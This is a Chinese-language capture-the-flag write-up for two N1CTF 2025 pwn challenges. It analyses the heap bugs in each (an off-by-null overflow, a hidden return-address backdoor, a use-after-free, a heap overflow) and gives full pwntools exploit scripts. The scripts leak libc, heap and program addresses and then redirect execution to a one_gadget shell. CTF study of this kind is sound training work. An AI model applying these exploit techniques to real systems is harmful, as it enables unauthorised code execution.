n1ctf2025_pwn

ez_heap

保护全开

程序逻辑:

  1. 读入0x30的字符串,进行字符串校验:以冒号为标志split,分成四份。最后输入字符串形如:
1
2
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'
  1. 创建0x180的chunk存放note 结构体每个note大小为0x30,note结构:

  2. add,edit,delete,show操作

漏洞点:

  1. editName中strlen可以用\x00绕过造成溢出

  2. 后门:remove操作中有一个一眼就很可疑的地方:lucky number,

    在这里插入图片描述

    如果这里的if判断不通过,直接return,看反编译的伪代码不容易看出来,看汇编代码+动态调试可以发现
    if判断的参数初始值为1,如果执行过一次editName操作以后,这个参数会自减一次,此时remove函数结束时会执行 ret lucyNumber操作
    [图片]

  3. 这里的xor操作,其中的一个操作数是可控的,dest

难点

editName操作和show操作只能执行一次
利用xor操作构造任意地址读写条件泄露libc地址

漏洞利用

第一阶段:
泄露heap基址和程序基址(PIE)
由于存在xor后的数据chunk的地址,结合动态调试,heap地址的后三字节是固定的,加上一字节的\x00溢出,
第一个note content chunk的起始地址为000+0x290(tcache bin管理结构)+0x190(note 结构体 chunk)=0x420
如果控制xor的操作数后两位为20,且第二个note content chunk与第一个同处于0x400-0x4ff空间上,当使用editName方法溢出第二个结构体chunk的name,此时这两个结构体chunk的note content chunk就指向了同一个,此时就构造了一个UAF,可以泄露heap地址和程序地址(程序地址用BSS的chunkList的地址)
此时edit和show都用过一次不能再用了,很自然的就想到再执行一次main函数,将luckynumber设置为main addr
第二阶段:
上面只是思考过程,此时才发现:
在回顾一下heap的构造,结构体chunk有一部分也处0x400-0x4ff,再溢出一次name则xor结果末两位是00,此时xor第一个操作数末两位是什么(假如设置为0xmn),那么这个溢出的结构体的conten就会指向0x4mn,第一阶段的泄露操作也可以通过最后一个结构体chunk泄露

这时就可以show和修改最后一个struct chunk的data content chunk的地址(要写入xor后的结果),将其指向got表结合show操作就可以泄露libc、heap、程序地址
最后将LUCKYNUMBER设置为onegadget即可

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def exp():
global libc
global binary
global elf
elf = ELF(binary, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'
sla(b'Do you want to play a game with me?\n',validate)
key_default = b'1'*8
add(key_default,b'1',b'8',b'a'*0x10)
add(key_default,b'1',b'8',b'b'*0x10)
add(key_default,b'1',b'8',b'c'*0x10)
add(key_default,b'1',b'8',b'd'*0x10)
add(key_default,b'1',b'8',b'e'*0x10)
add(key_default,b'1',b'8',b'f'*0x10)
add(key_default,b'1',b'8',b'g'*0x10)
remove(key_default,0,str(1))
add(key_default,b'1',b'8',b'h'*0x10)
edit_name(key_default,7,b'\x00'+b'a'*(0xf))
show(key_default,7)
ru(b'content: ')
heap_base = ((uu64(r(7))<<8)^xor)>>12<<12
leak('heap_base',heap_base)
proc_base = uu64(ru('\n')) - 0x4080 - 0x7*8
leak('proc_base',proc_base)
main_sym = 0x1CC7
ret_addr_in_remove = proc_base+main_sym
remove(key_default,1,str(ret_addr_in_remove))
sla(b'Do you want to play a game with me?\n',validate)
add(key_default,b'1',b'48',b'a'*0x10)
one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]
one_gadget = one_gadget_list[3]
edit_name(key_default,0,b'\x00'+b'a'*(0xf)+p64((proc_base+elf.got['free'])^xor))
show(key_default,0)
ru(b'content: ')
free_addr = uu64(ru('\n'))
libc.address = free_addr - libc.sym['free']
remove(key_default,1,str(libc.address+one_gadget))
return

近队容器的礼仪

搭建环境

附件给出了pwn文件和libc文件夹,将libc.so.6和ld文件从libc文件夹中剪切出来,注意是剪切,确保libc文件夹中不再存在这两个文件,
直接运行使用:

1
2
3
patchelf --set-interpreter  ./ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
LD_LIBRARY_PATH=./libc pwn

python中pwnlib调用:

1
2
3
4
5
6
# 也需要先像上面的shell命令一样先patchelf
binary = './pwn'
p = process(binary,env={'LD_PRELOAD':'','LD_LIBRARY_PATH':'./libc/'})
# 二选一即可
gdbscript = ''
p = gdb.debug(binary, gdbscript,env={'LD_LIBRARY_PATH':'./libc/'})

程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
b'1. Exit\n'
b'2. Add deque to vector\n'
b'3. Create Animal in deque\n'
b'4. Remove deque from vector\n'
b'5. Remove Animal from deque\n'
b'6. Edit Animal in deque\n'
b'7. Print Animal in deque\n'
b'12. Create Animal in vector\n'
b'13. Remove Animal from vector\n'
b'14. Edit Animal in vector\n'
b'15. Print Animal in vector\n'
b'Enter your choice: '

IDA的结果看起来太复杂了,先直接进行几次操作看看

先尝试下有没有UAF
结果一试还真有

漏洞点

  1. 刚刚提到的UAF,可以通过unsorted bin fd泄露libc和tcache bin fd泄露heap基址
  2. 堆溢出

    很明显看到有个堆溢出

漏洞利用

先利用deque上的操作泄露地址
后用vector上的操作任意地址写(当时熬夜写的题,我也没去分析它到底能不能用deque的方法来,就是觉得给了这么多方法都用试试)
vecor申请的chunk结构是:一个0x20大小的结构体和对应size大小的animal,结构体中写着animal chunk的地址,因为能栈溢出,所以直接可以任意地址写
这里采取的操作时打enviorn打栈,从main的ret指令开始打;
算出environ到执行到main ret时栈地址的偏移量,然后构造栈满足ongadget的条件即可,也可以构造rop链
利用脚本
最后执行exit操作就可以执行到main的ret
注意执行execve的时候保证结尾是0x0而不是8吧,对齐一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def exp():
global libc
global binary
global elf
elf = ELF(binary, checksec=False)
libc = ELF("./libc.so.6", checksec=False)

add_deque()
create_animal_deque(0,0x80)
show_animal_deque(0,0)
ru('): ')
libc.address = uu64(ru(b'\n'))-0x203b20
leak('libc_base',libc.address)
# 防止deque为空而不能show UAF
create_animal_deque(0,0x80)
malloc_hook = libc.sym['__malloc_hook']
leak('__malloc_hook',malloc_hook)
one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]
''' 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp'''
one_gadget =libc.address + one_gadget_list[3]
system_addr = libc.sym['system']
# pause()
environ = libc.symbols['environ']
create_animal_vector(0x90)
create_animal_vector(0x90)
edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ))
show_animal_vector(1)
ru(b'): ')
environ_addr = uu64(ru(b'\n'))
edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x30))
show_animal_vector(1)
ru(b'): ')
start_addr = uu64(ru(b'\n')) - 37
proc_base = start_addr - elf.sym['_start']

ret_of_main = environ_addr - 0x130
ret_addr = proc_base+0x101a

edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main))
edit_animal_vector(1,0x8,p64(ret_addr))

edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main+8))
edit_animal_vector(1,0x8,p64(one_gadget))

edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x110))
edit_animal_vector(1,0x8,p64(0))

edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0xe8))
edit_animal_vector(1,0x8,p64(0))

# exit 推出时会执行ret of main
sla(b'Enter your choice:',b'1')

return